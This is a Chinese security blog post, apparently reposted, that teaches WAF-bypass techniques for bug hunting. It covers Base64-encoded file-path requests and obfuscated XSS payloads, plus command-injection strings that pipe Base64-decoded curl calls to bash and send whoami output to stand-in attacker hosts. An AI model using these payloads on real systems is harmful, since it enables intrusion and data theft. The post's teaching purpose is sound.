网络安全揭秘 | 白帽黑客常用的漏洞挖掘技巧分享

admin 2024年9月7日23:49:54评论25 views字数 3633阅读12分6秒阅读模式

前言

在信息安全领域,发现和利用各种漏洞是安全研究员的日常任务。通过持续的探索,我们经常能够找到一些出人意料的技巧,从而绕过现有的安全防护措施,如Web应用防火墙(WAF)。今天,我想与大家分享几个近期发现的有趣技巧,包括编码绕过、Cloudflare WAF绕过、XSS绕过技术,以及OS命令注入的真实案例。

这些技巧不仅源于我在工作中的积累,还凝聚了许多同行的智慧。我希望通过这些例子,能为大家在漏洞赏金平台(SRC)上的挖掘工作带来新的灵感和实用技巧。不论你是刚入门的新手,还是经验丰富的老手,期待这篇文章能对你有所帮助,让我们在信息安全的道路上共同前行。

编码绕过

示例说明

  1. 初始请求

    url/?f=etc/passwd

    在这里,我尝试通过URL参数f访问/etc/passwd文件,但服务器返回了403状态码,表示访问被禁止。这是因为Web应用防火墙(WAF)检测到请求试图访问敏感文件,因此拦截了该请求

  2. Base64编码:为了绕过WAF的检测,我们对字符串`/etc/passwd`进行了Base64编码。

    url/?f=L2V0Yy9wYXNzd2Q=

    该请求成功返回了200状态码,表明服务器已成功处理了该请求。

    网络安全揭秘 | 白帽黑客常用的漏洞挖掘技巧分享

    • /etc/passwd的Base64编码结果是L2V0Yy9wYXNzd2Q=

    • 完整的请求变为:

详细解释

  1. 当直接请求 url/?f=etc/passwd 时,服务器检测到请求路径中包含敏感关键词(如etc/passwd),触发了WAF规则,返回403状态码,表示访问被禁止。这是WAF的一种常见防御措施,旨在阻止未经授权的文件访问。

  2. Base64编码绕过技巧:

  3. Base64是一种常用的编码方法,可以将二进制数据转换为ASCII字符串。由于WAF主要检测的是明文中的敏感关键词,Base64编码通常不会被WAF识别。

  4. /etc/passwd编码为Base64后的字符串是L2V0Yy9wYXNzd2Q=

  5. 当使用Base64编码后的字符串发送请求时,WAF未能检测到敏感关键词,因此没有阻止该请求,服务器返回了200状态码。

Cloudflare WAF绕过技巧(简单但有效)

示例1:基本的Cloudflare WAF绕过技术

此示例展示了一些简单但有效的技巧,绕过了Cloudflare的Web应用防火墙(WAF):

<img hrEF="x" sRC="data:x," oNLy=1 oNErrOR=prompt1>

主要技巧包括:

  1. 属性名混淆:将href写成hrEF,将src写成sRC,将onerror写成oNErrOR。通过更改属性名称的大小写,可以绕过WAF的基本字符串匹配规则。

  2. Data URIdata:x,部分通常用于生成一个空的图片数据URI,以便触发onerror事件。

  3. onerror事件:当图片加载失败时,onerror事件被触发,这里设置为prompt1,会弹出一个对话框。

此技术利用了WAF对属性名和大小写检测的弱点,实现了绕过。

示例2:带有混淆和过滤绕过技巧的复杂负载

<img src onerror=setTimeout(atob(/YWxlcnQoMTMzNyk/.source))>

这一更复杂的负载包含了一些混淆和过滤绕过技巧:

  1. 省略属性值src属性没有指定具体值,在某些情况下可以绕过WAF的检测。

  2. onerror事件:使用setTimeout延迟执行代码,避免触发实时检测。

  3. Base64编码atob函数解码Base64字符串,这里的YWxlcnQoMTMzNyk=解码后是alert(1337),会弹出一个警告框。

  4. 正则表达式源/YWxlcnQoMTMzNyk/是一个正则表达式,通过.source属性获取源代码,再用atob进行解码。

这种技术通过混淆和编码,成功绕过了WAF的内容检测和过滤规则。

XSS 示例1

javascript(function(x){this })`al`

解释:

- `(function(x){this })` 是一个自执行函数。

- 函数接收一个字符串字面量`al`作为参数,所以`x`的值是`al`。

- 在函数体内,`this`实际上指向全局对象`this`,因此代码可以表示为 `this.alert(1)`。

- 在全局作用域中,`this`指向`window`对象,所以`this.alert(1)`等同于`window.alert(1)`。

总结:执行时,该代码会显示一个包含数字1的警告框。

XSS 示例2

javascriptwindow[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)

解释:

 `window`是浏览器环境中的全局对象。

- 访问`window`对象的属性时,可以使用动态属性访问,即使用方括号和字符串拼接。

- 计算过程如下:

  - `al`是字符串`al`。

  - `/e/`是一个正则表达式对象。

  - `[ex+ec]`构成字符串`exec`,即正则表达式对象的`exec`方法。

  - `/e/[exec]`返回正则表达式对象的`exec`方法。

  - 最终的表达式变为`window['alert']`。

总结:该代码执行时会显示一个包含数字2的警告框

XSS 示例3

javascriptdocument['default'+'View'][`u0061lert`](3)

解释:

- `document`对象代表整个HTML文档,是浏览器中的全局对象。

- `document['default'+'View']`访问的是`document.defaultView`属性,返回`window`对象。

- `u0061`是Unicode表示法,表示字符`a`,所以`u0061lert`即为`alert`。

- 最终,表达式变为`document.defaultView['alert']`,即`window.alert`。

总结:执行该代码时,会显示一个包含数字3的警告框。

OS 命令注入

示例1:利用IFS绕过空格过滤

bashcurl${IFS}$(whoami).atckr

- `curl`是一个常用的命令行工具,用于请求网络资源。

- `${IFS}`是内部字段分隔符,默认包含空格、制表符和换行符。通过`${IFS}`,可以绕过对空格的简单过滤。

- `$(whoami)`是一个子命令,返回当前用户名。

- 最终的命令`curl $(whoami).atckr`将向`<用户名>.atckr`发送一个HTTP请求。

总结:利用`IFS`绕过空格过滤,该命令可以成功发送一个请求,即使存在空格过滤。

网络安全揭秘 | 白帽黑客常用的漏洞挖掘技巧分享

示例2:Base64编码命令执行

echo${IFS}Y3VybCBodHRwOi8vdTBfYTIxNS1sb2NhbGhvc3QuYXR0YWNrZXIK|base64${IFS}-d|bash

在这个例子中:

  • echo命令输出一个Base64编码的字符串。

  • |base64${IFS}-d将编码的字符串解码。

  • |bash将解码后的命令传递给bash解释器执行。

解码后的命令是curl http://u0_a215-localhost.attackr,它会向指定URL发送一个HTTP请求,在实战过程中这个请求地址根据实际需要进行更改,这里只做演示。

网络安全揭秘 | 白帽黑客常用的漏洞挖掘技巧分享

示例3:动态URL请求

echo curl${IFS}atckr?$(whoami)

在这个例子中:

  • curl请求网络资源。

  • ${IFS}用于分隔命令参数。

  • $(whoami)返回当前用户名。

最终命令curl atckr?$(whoami)会向atckr?用户名发送一个HTTP请求。

网络安全揭秘 | 白帽黑客常用的漏洞挖掘技巧分享

示例4:Base64编码命令执行(变种)

echo ${IFS}Y3VybCBodHRwOi8vYXR0YWNrZXI/dTBfYTIxNT1sb2NhbGhvc3QK | base64 ${IFS}-d | bash

在这个例子中:

  • echo输出一个Base64编码的字符串。

  • |base64${IFS}-d解码字符串。

  • |bash将解码后的命令传递给bash解释器执行。

解码后的命令是curl http://attackr/u0_a215=localhost,会向指定URL发送一个HTTP请求,在实战过程中这个请求地址根据实际需要进行更改,这里只做演示。

网络安全揭秘 | 白帽黑客常用的漏洞挖掘技巧分享

总结

通过以上关于编码绕过、Cloudflare WAF绕过、XSS绕过技术以及OS命令注入的实例,我们可以看到如何利用这些技巧来绕过常见的安全防护措施。对安全研究人员而言,理解和掌握这些技术至关重要,它们不仅有助于发现潜在的安全漏洞,还能提升防护能力。在实际的漏洞赏金平台(SRC)挖掘中,希望大家能够灵活应用这些技巧,不断提升自己的技术水平。

我们红岸基地网安教学,只有两个老师、一个是赵小龙老师、一个是陈师傅。可以联系微信:Changethe_one,只要你提供目前的现状与学历,陈老师可以免费帮大家做职业规划。

Changethe_one

原文始发于微信公众号(暗影网安实验室):网络安全揭秘 | 白帽黑客常用的漏洞挖掘技巧分享

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月7日23:49:54
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   网络安全揭秘 | 白帽黑客常用的漏洞挖掘技巧分享https://cn-sec.com/archives/3119146.html

发表评论

匿名网友 填写信息